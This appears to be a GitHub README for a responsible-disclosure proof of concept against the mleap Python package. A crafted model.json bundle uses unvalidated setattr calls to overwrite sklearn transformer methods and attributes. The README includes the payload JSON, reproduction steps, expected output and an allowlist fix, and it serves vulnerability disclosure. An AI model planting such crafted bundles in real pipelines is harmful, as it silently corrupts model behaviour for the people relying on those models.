MBM7/mleap-attribute-injection-poc

MLeap — Bundle Arbitrary Attribute Injection (PoC)

Repo: MBM7/mleap-attribute-injection-poc
Status: Responsible disclosure — submitted to Huntr
Severity: High / CWE-915
Package: mleap (PyPI) — ML pipeline serialization format

---

Summary

A crafted MLeap bundle model.json can overwrite any Python attribute of any sklearn transformer — including methods like transform() and predict() — causing silent model corruption at inference time. No exception is raised during loading.

---

Root Cause

mleap/bundle/serialize.py, MLeapDeserializer.deserialize_single_input_output(), line 208:

for attribute in attributes.keys():         # ← from model.json, NO validation
    value_key = [key for key in attributes[attribute].keys()
                 if key in ['string', 'boolean', 'long', 'double', 'data_shape']][0]
    setattr(transformer, attribute, attributes[attribute][value_key])
    #                    ^^^^^^^^^  ANY Python attribute name

attribute comes directly from model.json in the MLeap bundle with no whitelist or validation. An attacker controls all attribute names and their values.

---

Attack

Craft a model.json with injected attribute names alongside legitimate ones:

{
  "op": "standard_scaler",
  "attributes": {
    "mean_":          {"double": [0.5, 1.5, 2.5]},
    "transform":      {"string": "HIJACKED"},
    "__module__":     {"string": "os"},
    "n_features_in_": {"long": 9999999999}
  }
}

After MLeapDeserializer().deserialize_single_input_output(scaler, node_dir):

• scaler.transform = "HIJACKED" (method overwritten with string)
• scaler.__module__ = "os" (__dunder__ injected)
• scaler.n_features_in_ = 9999999999 (shape validation bypassed)

Calling scaler.transform(X) raises TypeError: 'str' object is not callable.

---

Reproduce

pip install mleap scikit-learn numpy
python poc_mleap_setattr_injection.py

Expected:

result.transform      : 'HIJACKED'  ← INJECTED (was method!)
result.__module__     : os          ← INJECTED
result.n_features_in_ : 9999999999  ← INJECTED
result.transform(X)  : TypeError: 'str' object is not callable

---

Distinct class from all previous findings

All previous findings were CWE-789 (memory allocation). This is:

• CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes)
• No memory exhaustion — model integrity/behavioral attack
• Silent failure at inference time, not at load time

---

Suggested Fix

ALLOWED_ATTRS = frozenset({
    'mean_', 'var_', 'scale_', 'with_mean', 'with_std',
    'copy', 'n_features_in_', 'n_samples_seen_', 'op',
    # ... per-transformer whitelist
})
for attribute in attributes.keys():
    if attribute not in ALLOWED_ATTRS:
        raise ValueError(f"Attribute {attribute!r} not in allowed list")
    setattr(transformer, attribute, ...)

---

Environment

Package	Version
mleap	0.25.1
Python	3.12